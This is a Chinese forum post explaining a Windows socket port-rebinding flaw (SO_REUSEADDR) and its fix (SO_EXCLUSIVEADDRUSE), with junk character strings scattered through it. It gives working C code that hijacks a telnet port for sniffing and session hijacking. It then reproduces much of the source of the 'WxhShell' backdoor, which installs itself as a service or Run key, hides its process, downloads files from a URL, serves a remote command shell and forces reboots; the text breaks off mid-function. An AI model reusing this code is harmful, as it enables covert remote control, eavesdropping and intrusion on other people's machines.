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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &H{KXX"X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8V(#S :G35  
[sY>ac  
  saddr.sin_family = AF_INET; [Hww3+~+  
<vV?VV([  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); { O*maE"  
\TrhJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h&vq}  
9c1n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z\y@rp\l  
xla9:*pPn  
  这意味着什么?意味着可以进行如下的攻击: ; . c]0  
/tf}8d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T%xB|^lf  
&k?Mt #J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4PEJ}B W  
a-,BBM8|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  wYS,|=y  
rK2*DuE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #{l+I( M  
6;GL>))'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m4 *Rr  
dQt*/]{q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -C5Qh&~W  
xgtdmv%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }9Z?UtS  
s"G6aM  
  #include K{HRjNda#  
  #include !\8j[QS!  
  #include ~'HwNzDQc  
  #include    1HBch]J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZSMOq4Y 9  
  int main() #:3E.=  
  { Mx-,:a9}  
  WORD wVersionRequested; H.Z:at5n  
  DWORD ret; >'8.>f  
  WSADATA wsaData; A[ZJS   
  BOOL val; -X Bh\w  
  SOCKADDR_IN saddr; z1F[okLA  
  SOCKADDR_IN scaddr; .)B_~tct  
  int err; Q/=L(_1l  
  SOCKET s; ' d1E~A  
  SOCKET sc; Zi2NgVF  
  int caddsize; )D@1V=9,  
  HANDLE mt; iR(A ^  
  DWORD tid;   U\ y?P:yy  
  wVersionRequested = MAKEWORD( 2, 2 ); \A5cM\-  
  err = WSAStartup( wVersionRequested, &wsaData ); wI}5[m  
  if ( err != 0 ) { ZsUxO%jP  
  printf("error!WSAStartup failed!\n"); ~|pVz/s|G  
  return -1; VA)3=82n  
  } EH]5ZZ[Z  
  saddr.sin_family = AF_INET; l0u6nGkh  
   gV!Eotq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Hv<%_t_/  
FymA_Eq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >RBq&'f  
  saddr.sin_port = htons(23); czb(&><  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X c,UR .  
  { Y+V*$73`  
  printf("error!socket failed!\n"); ~7b '4\  
  return -1; RoLUPy9U  
  } x-U:T.+{  
  val = TRUE; @|%t<{y^I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,u{d@U^)3@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #:vosVqG  
  { R',|Jf=`  
  printf("error!setsockopt failed!\n"); C 1|e1  
  return -1; LlRvm/  
  } /,/T{V[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eP'e_E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bI@+Or  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ).N}x^  
RXt`y62yK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FD#?pVyPn^  
  { v.cB3/$ z  
  ret=GetLastError(); hof$0Fg  
  printf("error!bind failed!\n"); cIja^xD  
  return -1; &EXql']  
  } \@['V   
  listen(s,2); ^gH.5L0]gH  
  while(1) M$%aX,nk'  
  { .-`7Av+7  
  caddsize = sizeof(scaddr); {;Mcor3  
  //接受连接请求 zEF3B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =d7lrx+z  
  if(sc!=INVALID_SOCKET) d~S.PRg=  
  { z.]t_`KuF9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !F;W#Gc  
  if(mt==NULL) Y$Js5K@F  
  { f&8&UL>e`  
  printf("Thread Creat Failed!\n"); 6peO9]Zy  
  break; sTeL4g|%{  
  } E} Uy-  
  } /_x?PiL  
  CloseHandle(mt); 6g@j,iFy  
  } Z?XE~6aP>  
  closesocket(s); d|j3E  
  WSACleanup(); GZXUB0W\@)  
  return 0; `"zX<  
  }   6;I&{9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7,j}]  
  { D gY2:&0  
  SOCKET ss = (SOCKET)lpParam; 2ztP'  
  SOCKET sc; !ygh`]6V  
  unsigned char buf[4096]; w;}P<K  
  SOCKADDR_IN saddr; '<>pz<c  
  long num; UR1U; k  
  DWORD val; `Kpn@Xg  
  DWORD ret; {/XzIOO;b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _D$|lk-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <3O>  
  saddr.sin_family = AF_INET; 3PpycJ}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4}W*,&_  
  saddr.sin_port = htons(23); y*vs}G'W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /XS}<!)%  
  { p8%x@%k  
  printf("error!socket failed!\n"); fg*IHha  
  return -1; ?bmP<(N5/  
  } rzLpVpTaz  
  val = 100; ^7Z)/c`"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dx4?6  
  { dF5EIPl;J  
  ret = GetLastError(); \gDf&I  
  return -1; D;.-e  
  } 9Fv1D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l<(MC R*  
  { pLDseEr<  
  ret = GetLastError(); HP:ee+n  
  return -1; TlQ#0_as[  
  } 7xMvf<1P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ? Z.p.v  
  { r[q-O&2&  
  printf("error!socket connect failed!\n"); Nm\0>}  
  closesocket(sc); ht (RX  
  closesocket(ss); SBzJQt@Hs  
  return -1; i`z1if6O  
  } Z Mt9'w;  
  while(1) u+&BR1)C  
  { ;;2XLkWu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /[q6"R!uMz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4;<?ec(dc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }cn46 L%/  
  num = recv(ss,buf,4096,0); Ckj2$c~  
  if(num>0) po4seW!  
  send(sc,buf,num,0); blpX_N  
  else if(num==0) ylUxK{  
  break; ?w#V<3=  
  num = recv(sc,buf,4096,0); [ %cW ?@  
  if(num>0) }TzMWdT  
  send(ss,buf,num,0); 9y{[@KG  
  else if(num==0) b^~ keQ  
  break; !trt]?*-  
  } E2 Q[  
  closesocket(ss); [a:yKJ[  
  closesocket(sc); r{!]` '8  
  return 0 ; 4w\ r `@  
  } x4r8^,K3Zn  
lr'h  
c@wSv2o$  
========================================================== P"Lk(gY  
;R|i@[(J  
下边附上一个代码,,WXhSHELL {;4Y5kj  
cKJf0S:cx-  
========================================================== ROlef;/A  
]VtVw^ir  
#include "stdafx.h" hiq7e*Nsb  
D99g}  
#include <stdio.h> N[~{'i  
#include <string.h> f!%G{G^`  
#include <windows.h> m5m}RWZ#  
#include <winsock2.h> }{T9`^V:h  
#include <winsvc.h> " !F)K  
#include <urlmon.h> Rah"La  
d3-F?i 5d  
#pragma comment (lib, "Ws2_32.lib") +Z> Y//  
#pragma comment (lib, "urlmon.lib") a~ q_2S]h  
1N6.r:wg)%  
#define MAX_USER   100 // 最大客户端连接数 jBZlN Ew  
#define BUF_SOCK   200 // sock buffer ,I6jfXI4  
#define KEY_BUFF   255 // 输入 buffer ,)/gy)~#  
p)6!GdT  
#define REBOOT     0   // 重启 x\PZ.o  
#define SHUTDOWN   1   // 关机 Z/-9G  
Geyy!sr``  
#define DEF_PORT   5000 // 监听端口 qTSyy=  
,;;7+|`  
#define REG_LEN     16   // 注册表键长度 PD #9Z=Hj  
#define SVC_LEN     80   // NT服务名长度 -#<6  
]Z\Z_t  
// 从dll定义API 4<V%7z_.B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z|3 fhaT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Ku=Xzvq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0lpkG ="&r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r-^FM~Jp  
;f;A"  
// wxhshell配置信息 T_t5Tg~i[N  
struct WSCFG { +85#`{ D  
  int ws_port;         // 监听端口 J)7\k$D  
  char ws_passstr[REG_LEN]; // 口令 zT<fTFJ1  
  int ws_autoins;       // 安装标记, 1=yes 0=no I0iTa99K  
  char ws_regname[REG_LEN]; // 注册表键名 z$g cK>@l  
  char ws_svcname[REG_LEN]; // 服务名 J?6.yL;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fl0(n #L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -e_91W I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Vf?Rw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UY>[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1O#]qZS}]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,LE15},  
DWv(|gO  
}; ^bM\:z"M  
m:}PVJ-"  
// default Wxhshell configuration tIK`/)w,  
struct WSCFG wscfg={DEF_PORT, 6jw9p+.  
    "xuhuanlingzhe", 5!QT }Um  
    1, In[rxT~K}Q  
    "Wxhshell", Pj-.oS2dA  
    "Wxhshell", Cn"_x  
            "WxhShell Service", <OH{7>V  
    "Wrsky Windows CmdShell Service", y+\kZIqX  
    "Please Input Your Password: ", ,NO2{Ha$  
  1, w"`Zf7a{/  
  "http://www.wrsky.com/wxhshell.exe", awXK9}.  
  "Wxhshell.exe" ,`Keqfx  
    }; ~<N9ckK  
Ux,?\Vd  
// 消息定义模块 ]OSq}ul  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g6 H}a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a8WWFAC[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! k[JP+;  
char *msg_ws_ext="\n\rExit."; z @g%9 |U  
char *msg_ws_end="\n\rQuit."; [vGkr" =  
char *msg_ws_boot="\n\rReboot..."; ]'NL-8x">  
char *msg_ws_poff="\n\rShutdown..."; /Nc)bF%gX  
char *msg_ws_down="\n\rSave to "; 4wMZNa<Sx  
U{\9mt7b!  
char *msg_ws_err="\n\rErr!"; eJ*u]GH U  
char *msg_ws_ok="\n\rOK!"; /0swrt.  
8J#U=qYei  
char ExeFile[MAX_PATH]; A"B#t"  
int nUser = 0; qzj.N$9]  
HANDLE handles[MAX_USER]; J$W4AT  
int OsIsNt; _/czH<   
jY2mn".N  
SERVICE_STATUS       serviceStatus; 3'Hz,qP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UX2@eyejQ7  
KE4#vKV0yC  
// 函数声明 \#h{bnx  
int Install(void); +/[L-&,  
int Uninstall(void); qeW.~B!B  
int DownloadFile(char *sURL, SOCKET wsh); 4Q!|fn0Sv  
int Boot(int flag); fikDpR  
void HideProc(void); fN1b+ d~*6  
int GetOsVer(void); p,V%wGM  
int Wxhshell(SOCKET wsl); Q>q-6/|UX  
void TalkWithClient(void *cs);  Y(  
int CmdShell(SOCKET sock); A<] $[2qPj  
int StartFromService(void); e-Oz`qW~  
int StartWxhshell(LPSTR lpCmdLine); ~?4 BP%g-y  
.Y|wG<E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S"VO@)d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <O1os"w  
$dxA7 `L  
// 数据结构和表定义 +1a3^A\  
SERVICE_TABLE_ENTRY DispatchTable[] = i)]f0F  
{ T, +=ka$  
{wscfg.ws_svcname, NTServiceMain}, id588Y78  
{NULL, NULL} UGlHe7  
}; 0~z`>#W,  
k*u6'IKi.4  
// 自我安装 -dWg1`;  
int Install(void) 3GNcnb  
{ Dpwqg3,  
  char svExeFile[MAX_PATH]; L|Xg4Z  
  HKEY key; ek.@ 0c  
  strcpy(svExeFile,ExeFile); 2">de/jS  
E]v]fy"  
// 如果是win9x系统,修改注册表设为自启动 ubZJUm  
if(!OsIsNt) { c^O&A\+;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y]_$+Si:NK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D66NF;7q  
  RegCloseKey(key); n=PfV3B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hj&~Dn(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C(9"59>{]y  
  RegCloseKey(key); DSRmFxkk  
  return 0; %Oo f/q  
    } W"*2,R[}%  
  } z(8G=C  
} ^Zp  
else { Q% d1O  
: 5['V#(o  
// 如果是NT以上系统,安装为系统服务 E]8uj8K3]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k$ T  
if (schSCManager!=0) ]v0Z[l>yf  
{ UM#.`  
  SC_HANDLE schService = CreateService RJUIB  
  ( $}r.fji,c  
  schSCManager, 0 )cSm"s  
  wscfg.ws_svcname, BVj(Q}f8  
  wscfg.ws_svcdisp, )#8g<]q  
  SERVICE_ALL_ACCESS, $5/d?q-ts{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z:<an+v|5  
  SERVICE_AUTO_START, $+f=l~/s  
  SERVICE_ERROR_NORMAL, t,dm3+R  
  svExeFile, j#2E Q  
  NULL, %LzARTX  
  NULL, y.I&x#(^  
  NULL, -ycdg'v  
  NULL, #qmsZHd}b  
  NULL \'<P~I&p  
  ); dCS f$5  
  if (schService!=0) c|`$ h  
  { Rzh.zvxTp  
  CloseServiceHandle(schService); GA$fueiQNs  
  CloseServiceHandle(schSCManager); Ncsh{.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HzKY2F(,  
  strcat(svExeFile,wscfg.ws_svcname); JB].ht  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tK .1 *  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mNacLkh[  
  RegCloseKey(key); AoOA.t6RVo  
  return 0; nw% 9Qw  
    } uSRhIKy  
  } Q!qD3<?5  
  CloseServiceHandle(schSCManager); R3U|{vgl  
} Eyjsbj8  
} TwI s _r:  
K)wWqC.  
return 1; -y$6gCRY  
} 6 iMJ0  
~CkOiWC0  
// 自我卸载 M2|h.+[Q  
int Uninstall(void) Fz,jnV9=j  
{ ^iJyo&I  
  HKEY key; {4,],0bjx/  
&Q;sbI}  
if(!OsIsNt) { ZK'46lh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y 0Fq -H  
  RegDeleteValue(key,wscfg.ws_regname); %+Ze$c}X  
  RegCloseKey(key); 7+hF1eoI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \>Rfa+  
  RegDeleteValue(key,wscfg.ws_regname); j|wN7@Zc  
  RegCloseKey(key); vg[3\!8z[  
  return 0; 4F G0'J&hw  
  } znTi_S  
} ]#^v754X^T  
} S<Gm*$[7  
else { 4Ex&AR8  
Zs=A<[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2O[sRm)  
if (schSCManager!=0) t~j 6wsx;  
{ l;@+=uVDHm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vez8 ~r3  
  if (schService!=0) aMY@**^v  
  { gAdqZJR%]  
  if(DeleteService(schService)!=0) { n.2:fk  
  CloseServiceHandle(schService); o>,r<  
  CloseServiceHandle(schSCManager); m","m  
  return 0; 0t^FM<7G  
  } Wy7w zt  
  CloseServiceHandle(schService); ;Go^)bN ;  
  } U?:P7YWy  
  CloseServiceHandle(schSCManager); ga%\n!S  
} N=<`|I  
} IoLi7NKw  
8CZfz!2  
return 1; \Dq'~ d  
} 77O$^fG2  
2wY|E<E  
// 从指定url下载文件 >bf.T7wy  
int DownloadFile(char *sURL, SOCKET wsh) P\ke%Jdpw?  
{ d'ZNp2L  
  HRESULT hr; bp:`m>4<  
char seps[]= "/"; F5 ]<=i  
char *token; )&j`5sSXcr  
char *file; J@I>m N1\  
char myURL[MAX_PATH]; n >y,{"J{  
char myFILE[MAX_PATH]; }OAU5P!rp  
yqq1a o  
strcpy(myURL,sURL); ZgxB7zl//  
  token=strtok(myURL,seps); kx;X:I(5&P  
  while(token!=NULL) SKH}!Id}n  
  { HD=F2p  
    file=token; +112{v=!i  
  token=strtok(NULL,seps); )C8^'*!  
  } ?/3wO/7[  
!t23 _b0  
GetCurrentDirectory(MAX_PATH,myFILE); NLMvi!5w,  
strcat(myFILE, "\\"); gE2(E0H  
strcat(myFILE, file); R|\eBnfI  
  send(wsh,myFILE,strlen(myFILE),0); fI)XV7,X  
send(wsh,"...",3,0); 9u( pn`e 3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F0U %m   
  if(hr==S_OK) nd8<*ru$  
return 0; cRnDAn#42  
else 4@-tT;$  
return 1; k-|g  
CXrOb+  
} p2gdA J  
~][~aEat;V  
// 系统电源模块 $?PI>9g!  
int Boot(int flag) jum"T\  
{ o&1mX  
  HANDLE hToken; '0+I'_(  
  TOKEN_PRIVILEGES tkp; );.$  `0  
J=3{<Xl  
  if(OsIsNt) { 5?>4I"ne  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]%6%rq%9C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E'f7=ChNF  
    tkp.PrivilegeCount = 1; r*`e%`HU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 7~Pc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !.j{vvQ/  
if(flag==REBOOT) { %]LoR$|Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]20:8l'  
  return 0;  ImhkU%  
} fS4foMI63)  
else { kC.dJ2^j+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (10t,n$  
  return 0; LLTr+@lj  
} A5Jadz~  
  } W8g13oAu"  
  else { u* pQVU  
if(flag==REBOOT) { |Gz<I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M$EF 8   
  return 0; wMCMrv:  
} F7=9> ,  
else { jo"nK,r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \;0pjxq=  
  return 0; wnX;eU/n  
} }6[jJ`=gOx  
} 0e8  
66?`7j X  
return 1; ^N<aHFF  
} Ja3#W K  
D/=05E%[81  
// win9x进程隐藏模块 {1)bLG|$  
void HideProc(void) ]#M"|iTR  
{ m%J?5rR3  
k H65k (  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @-)S*+8  
  if ( hKernel != NULL ) _]*[TGap  
  { \/1~5mQ+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qY-aR;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "T5jz#H#/  
    FreeLibrary(hKernel); @~2k5pa  
  } &pI\VIx ?  
;*qXjv& K  
return; mdL T7  
} vltE2mb  
*=@8t^fa86  
// 获取操作系统版本 x}a?B  
int GetOsVer(void) Z|@-=S(.  
{ =Jl\^u%H(x  
  OSVERSIONINFO winfo; LF.i0^#J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); puMVvo  
  GetVersionEx(&winfo); T+XcEI6w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ypM,i  
  return 1; 7vgRNzZoq  
  else s8(Z&pQ  
  return 0; |u`YT;`!"-  
} d >L8S L  
27gHgz}}  
// 客户端句柄模块 jR1^e$  
int Wxhshell(SOCKET wsl) BpA7 z/  
{ # d"M(nt  
  SOCKET wsh; L`M{bRl+1  
  struct sockaddr_in client; < *iFVjSI(  
  DWORD myID; }k AE  
k7:ISj J  
  while(nUser<MAX_USER) A["6dbvv  
{ MV<)qa T  
  int nSize=sizeof(client); FBP # _"z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r8R7@S2V'  
  if(wsh==INVALID_SOCKET) return 1; Q +hOW-  
mn1!A`$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xz@*V>QT  
if(handles[nUser]==0) si%V63^lN  
  closesocket(wsh); Pi[]k]XA\  
else \zVp8MMf  
  nUser++; M&zB&Ia"'  
  } hDJ+Rk@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]nV_K}!w  
^38k xwh  
  return 0; \Q`#E'?  
} *>iJ=H  
:n <l0  
// 关闭 socket ( K-7z  
void CloseIt(SOCKET wsh) 6UN{Vjr%`  
{ jz'%(6#'gW  
closesocket(wsh); +7"UF) ~k  
nUser--; *s1o?'e  
ExitThread(0); 8f?o?c|  
} ZnbpIJ8cV  
Qc9[/4R>  
// 客户端请求句柄 U GOe(JB  
void TalkWithClient(void *cs) |Qpo[E }a  
{ UQ e1rf  
R$/q=*k  
  SOCKET wsh=(SOCKET)cs; `ER#S_}  
  char pwd[SVC_LEN]; H6#SP~V  
  char cmd[KEY_BUFF]; 6jal5<H  
char chr[1]; dZ,7q_r,~  
int i,j; s0Y7`uD^  
z1e+Ob&  
  while (nUser < MAX_USER) { zS\m8[+]  
@$ )C pg  
if(wscfg.ws_passstr) { sQzr+]+#9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); up3m um  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [di&N!Ao  
  //ZeroMemory(pwd,KEY_BUFF); +I~U8v-  
      i=0; Q!fk|D+j  
  while(i<SVC_LEN) { w/0;N`YB  
xNVSWi,  
  // 设置超时 Iak06E  
  fd_set FdRead; j;rxr1+w  
  struct timeval TimeOut; :)Nk  
  FD_ZERO(&FdRead); U%2{PbL  
  FD_SET(wsh,&FdRead); {2&MyxV  
  TimeOut.tv_sec=8; sMw"C~XL  
  TimeOut.tv_usec=0; GsWf$/iC:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sj'.)nz>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'Ya-;5Y]  
(5^SL Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M<)Vtn  
  pwd=chr[0]; H%Sx*|  
  if(chr[0]==0xd || chr[0]==0xa) { sr.!EQ]  
  pwd=0; fVBu?<=d  
  break; Uv3Fe%>  
  } 1w?DSHe  
  i++; kh*td(pfP9  
    } yH@2nAn  
Z@>WUw@ F  
  // 如果是非法用户,关闭 socket $5yH8JU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =hKu85  
} A `=.F  
)0@&pEObm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oo,3mat2C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oMZ|)(7C  
q/\Hh9`  
while(1) { (@u"   
QcDtZg\  
  ZeroMemory(cmd,KEY_BUFF); W#[3a4%m  
,Z]4`9c  
      // 自动支持客户端 telnet标准   N Y~y:*:Q  
  j=0; rexy*Xv`2p  
  while(j<KEY_BUFF) { g`zC0~D2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'ZQR@~G  
  cmd[j]=chr[0]; 0f|nI8,z  
  if(chr[0]==0xa || chr[0]==0xd) { 5-X(K 'Q  
  cmd[j]=0; #kDJ>r |&-  
  break; 0--0+?  
  } i/WiSwh:  
  j++; qw%wyj7  
    } g JMv  
c1Ta!p{%  
  // 下载文件 3sq(FsT  
  if(strstr(cmd,"http://")) { oT27BK26?h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZYX(Cf  
  if(DownloadFile(cmd,wsh)) .9;wJ9Bw[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B&)o:P7h  
  else HGRH9W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VjVL/SO/  
  } \a\ApD  
  else { G_a//[p  
?rgk  
    switch(cmd[0]) { /?P="j#u  
  Tb6c]?'U  
  // 帮助 *z A1NH5  
  case '?': { ,d34v*U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .)eX(2j\  
    break; PXYo@^ 3  
  } Pa !r*(M)C  
  // 安装 B}y-zj; T  
  case 'i': { BSu ]NOwe  
    if(Install()) M%8:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  P7GF"/  
    else 4^O'K;$leD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$cSES>r:  
    break; u*$ 1e  
    } -Fj:^q:@u  
  // 卸载 -]h3s >t  
  case 'r': { a~F` {(Q2  
    if(Uninstall()) <v)Ai;l,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { +%S{=j  
    else tCdgtZm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :!f1|h  
    break; "K8<X  
    } vK?{Z^J][  
  // 显示 wxhshell 所在路径 zF[>K4  
  case 'p': { 3Yd)Fm  
    char svExeFile[MAX_PATH]; _YH)E^If  
    strcpy(svExeFile,"\n\r"); 5!PU+9Kh  
      strcat(svExeFile,ExeFile); H[{ch t h  
        send(wsh,svExeFile,strlen(svExeFile),0); [yF4_UoF  
    break; ^vmyiF  
    } sGCV um}  
  // 重启 ^xGdRa U#  
  case 'b': { In)#`E` g.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N(]>(S o  
    if(Boot(REBOOT)) B%L0g.D"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *HwTq[y  
    else { ;!k1LfN  
    closesocket(wsh); \7}X^]UVx  
    ExitThread(0); j!;?=s  
    } }cll? 2  
    break; ?hS n)  
    } A}b<Lg  
  // 关机 JeJc(e  
  case 'd': { 3`&2 -  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D'>yu"  
    if(Boot(SHUTDOWN)) !m$OI:rr  
